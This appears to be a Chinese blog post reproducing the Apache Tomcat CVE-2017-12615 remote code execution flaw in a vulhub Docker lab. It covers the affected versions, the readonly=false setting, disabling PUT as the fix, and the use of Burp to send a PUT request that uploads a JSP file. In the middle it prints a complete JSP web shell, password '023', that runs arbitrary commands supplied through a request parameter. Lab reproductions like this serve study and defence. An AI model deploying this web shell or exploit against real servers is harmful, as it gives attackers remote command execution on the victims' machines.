zoukankan      html  css  js  c++  java
  • 漏洞复现——tomcat远程代码执行漏洞

    漏洞描述:

    当存在该漏洞的Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT请求方法,攻击者可通过构造的攻击请求向服务器上传包含任意代码的 JSP 文件,造成任意代码执行

    影响范围:

    Apache Tomcat 7.0.0 - 7.0.79

    漏洞分析:

    该漏洞的触发条件有两个,第一tomcat需要运行在Windows主机上,第二要启用PUT请求方法,复现该漏洞时,只需在conf/web.xml中添加

    <init-param> 
    
     <param-name>readonly</param-name> 
    
      <param-value>false</param-value> 
    
    </init-param>
    当resdonly的值为true时,是不开启PUT的方法的,当它为false时,则是开启PUT方法


    修复方案:
    禁用PUT方法即可

    实验步骤:
    1.docker上开启tomcat服务:

    cd vulhub/

    cd tomcat/

    cd CVE-2017-12615/

    docker-compose build

    docker-compose up -d



    2.Windows上打开tomcat网页,开始上传jsp文件

    bp抓包修改包,go:将get方法修改为PUT,加上jsp文件的文件名(红色框),并且将要上传的jsp文件直接粘贴到下面(黄色框)

    jsp代码:

    <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
    
    +"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

    3.查看是否上传成功,并执行代码

    成功上传,查看whoami,jsp木马的密码是023

     
  • 相关阅读:
    初认识AngularJS
    (imcomplete) UVa 10127 Ones
    UVa 10061 How many zero's and how many digits?
    UVa 11728 Alternate Task
    UVa 11490 Just Another Problem
    UVa 10673 Play with Floor and Ceil
    JSON对象和字符串的收发(JS客户端用typeof()进行判断非常重要)
    HTML.ActionLink 和 Url.Action 的区别
    EASYUI TREE得到当前节点数据的GETDATA方法
    jqueery easyui tree把已选中的节点数据拼成json或者数组(非常重要)
  • 原文地址:https://www.cnblogs.com/xiaoqiyue/p/9954493.html
Copyright © 2011-2022 走看看